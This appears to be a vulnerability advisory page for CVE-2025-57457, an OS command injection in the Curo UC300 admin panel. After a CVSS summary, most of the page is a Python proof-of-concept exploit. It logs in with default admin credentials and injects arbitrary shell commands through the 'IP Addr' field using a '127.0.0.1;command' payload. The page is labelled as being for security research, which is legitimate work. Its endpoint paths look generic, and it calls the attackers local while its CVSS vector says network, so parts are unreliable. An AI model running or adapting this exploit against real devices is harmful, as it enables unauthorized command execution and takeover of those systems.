An OS Command Injection vulnerability in the Admin panel in Curo UC300 5.42.1.7.1.63R1 allows local attackers to inject arbitrary OS Commands via the "IP Addr" parameter.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Curo UC300 5.42.1.7.1.63R1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57457 - Curo UC300 OS Command Injection PoC
# Vulnerability: OS Command Injection via "IP Addr" parameter in Admin Panel
# Affected: Curo UC300 5.42.1.7.1.63R1
import requests
import sys
TARGET_URL = "http://target-curo-uc300"
ADMIN_PATH = "/admin"
USERNAME = "admin"
PASSWORD = "password"
def exploit(target, cmd):
"""Exploit OS command injection via IP Addr parameter"""
session = requests.Session()
# Step 1: Login to admin panel
login_url = f"{target}{ADMIN_PATH}/login"
login_data = {
"username": USERNAME,
"password": PASSWORD
}
resp = session.post(login_url, data=login_data)
if resp.status_code != 200:
print("[!] Login failed")
return
print("[*] Logged in successfully")
# Step 2: Inject command via IP Addr parameter
# Payload format: <valid_ip>;<command>
payload = f"127.0.0.1;{cmd}"
inject_url = f"{target}{ADMIN_PATH}/network/settings"
inject_data = {
"ip_addr": payload,
"action": "save"
}
resp = session.post(inject_url, data=inject_data)
print(f"[*] Payload sent: {payload}")
print(f"[*] Response status: {resp.status_code}")
return resp.text
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [command]")
print(f"Example: {sys.argv[0]} http://192.168.1.100 'id'")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
result = exploit(target, cmd)
if result:
print(f"[*] Response:\n{result}")